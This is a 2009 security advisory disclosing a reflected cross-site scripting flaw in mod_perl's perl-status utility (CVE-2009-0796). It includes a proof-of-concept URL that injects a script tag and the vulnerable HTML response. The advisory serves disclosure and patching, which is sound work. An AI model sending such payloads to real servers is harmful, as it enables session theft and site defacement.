XSS with mod_perl perl_status utility
Vulnerability found: 28th February 2009
Vendor informed: 1st March 2009
Advisory last updated: 1st March 2009
Severity: Medium/High
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)
CVE reference: CVE-2009-0796
BID: 34383
Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.
Description:
There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status
utility. The perl-status utility on request displays the current status of the
Mod_perl server, and some configuration information. Perl-status when
configured to allow any viewers, presents an information disclosure risk,
Procheckup has found by making a malformed request to perl-status, that
additionally a vanilla cross site scripting (XSS) attack is possible.
Proof of concept:
Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
The following is returned:-
<p><a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br
/>
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded
Modules</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance
Tree</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA
Tree</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl
Configuration</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled
Registry Scripts</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd
Files</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal
Handlers</a><br />
<a
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol
Table Dump</a><br />
</p></body></html>
An attacker may be able to cause execution of malicious scripting code in the
browser of a user who clicks on a link or visits a malicious webpage. The
malicious code would run in the security context of the vulnerable website.
This type of attack can result in non-persistent defacement of the target site,
or the redirection of confidential information (i.e.: passwords or session IDs)
to unauthorised third parties.
Fix:
http://perl.apache.org/
Legal:
Copyright 2009 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet
community for the purpose of alerting them to problems, if and only if, the
Bulletin is not edited or changed in any way, is attributed to Procheckup, and
provided such reproduction and/or distribution is performed for non-commercial
purposes.
Any other use of this information is prohibited. Procheckup is not liable for
any misuse of this information by any third party.